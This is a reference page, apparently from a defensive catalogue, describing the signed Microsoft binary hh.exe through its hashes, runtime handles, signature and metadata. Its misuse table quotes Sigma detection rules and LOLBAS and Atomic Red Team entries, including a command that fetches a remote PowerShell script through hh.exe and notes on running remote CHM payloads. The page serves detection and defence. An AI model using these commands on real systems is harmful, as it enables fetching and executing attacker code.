hh.exe

  • File Path: C:\Windows\SysWOW64\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 A97778801ABF79482E757200E4035A01
SHA1 F9EED275D9D1D432F2ECDE6B5A9DA08C783B2B2A
SHA256 974C70FA3CAFB802CCA0A4D2D01A84FACB9CF66C8EDFC5F69D3514BB5488783D
SHA384 9ED2B71B70825D7D0B87C1E174B6804A47A4CF1CF4BEB4BA8B03C0CE7D160168DB8286116B7367A022FBCA5A4C611E8B
SHA512 D1C946214875CCE5F0BC597329BD9F68FCCB5F83064888D6EF551314E0E5B10F6DE909E6FD0917D3E55A8F559A23D23DBB1B9573A0B1DC6605C57B2A5A45B02C
SSDEEP 192:KCeaZNtjK0Cd0tNSwyRLoOVR4kBGJ1KDJD/4Wcgk:Sat+0eUSwyRUSzA1KDWWcg
IMP F937A8A0DD0B39468FF87DDE8D9CDB45
PESHA1 3587AB82E5AA719F715159476EE1349B647C47C3
PE256 0EF5B13FBBB91A17976BCA8579DC26FDCAF07FE2DCBDB9F02E92E1E93539E93D

Runtime Data

Window Title:

File Download

Open Handles:

Path Type
(R–) C:\Users\ADMINI~1\AppData\Local\Temp\2~DF11EBC92012353841.TMP File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\hhctrl.ocx.mui File
(R-D) C:\Windows\SysWOW64\en-US\hh.exe.mui File
(R-D) C:\Windows\SysWOW64\en-US\ieframe.dll.mui File
(R-D) C:\Windows\SysWOW64\en-US\mshtml.dll.mui File
(R-D) C:\Windows\SysWOW64\en-US\propsys.dll.mui File
(R-D) C:\Windows\SysWOW64\en-US\urlmon.dll.mui File
(R-D) C:\Windows\SysWOW64\en-US\user32.dll.mui File
(R-D) C:\Windows\SysWOW64\ieframe.dll File
(R-D) C:\Windows\WinSxS\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.17763.1518_en-us_3c26ab8c9470805a\comctl32.dll.mui File
(RW-) C:\Users\user File
(RW-) C:\Users\user\help File
(RW-) C:\Windows File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.17763.1518_en-us_3c26ab8c9470805a File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.1518_none_b4b635d36e735c2c File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.1518_none_261b62a767ca4e6d File
(RWD) C:\Users\ADMINI~1\AppData\Local\Temp\2~DF34C84F59028B78DC.TMP File
(RWD) C:\Users\user File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db File
(RWD) C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db File
(RWD) C:\Windows\Fonts File
(RWD) C:\Windows\Fonts\segoeui.ttf File
\BaseNamedObjects__ComCatalogCache__ Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\BaseNamedObjects\windows_shell_global_counters Section
\RPC Control\DSEC91C Section
\Sessions\2\BaseNamedObjects\91cHWNDInterface:2103ec Section
\Sessions\2\BaseNamedObjects\91cHWNDInterface:2a04aa Section
\Sessions\2\BaseNamedObjects\MSIMGSIZECacheMap Section
\Sessions\2\BaseNamedObjects\UrlZonesSM_Administrator Section
\Sessions\2\BaseNamedObjects\windows_ie_global_counters Section
\Sessions\2\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\2\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-4075667164-670084373-454571106-500 Section
\Sessions\2\Windows\Theme2131664586 Section
\Windows\Theme966197582 Section

Loaded Modules:

Path
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\wow64.dll
C:\Windows\System32\wow64cpu.dll
C:\Windows\System32\wow64win.dll
C:\Windows\SysWOW64\hh.exe

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 10.0.17763.1 (WinBuild.160101.0800)
  • Product Version: 10.0.17763.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/71
  • VirusTotal Link: https://www.virustotal.com/gui/file/974c70fa3cafb802cca0a4d2d01a84facb9cf66c8edfc5f69d3514bb5488783d/detection/

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 46
C:\WINDOWS\hh.exe 35
C:\Windows\hh.exe 35
C:\Windows\hh.exe 36
C:\windows\hh.exe 35
C:\WINDOWS\hh.exe 35
C:\WINDOWS\SysWOW64\hh.exe 63
C:\Windows\SysWOW64\hh.exe 50
C:\WINDOWS\SysWOW64\hh.exe 41
C:\Windows\SysWOW64\hh.exe 44
C:\windows\SysWOW64\hh.exe 40

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.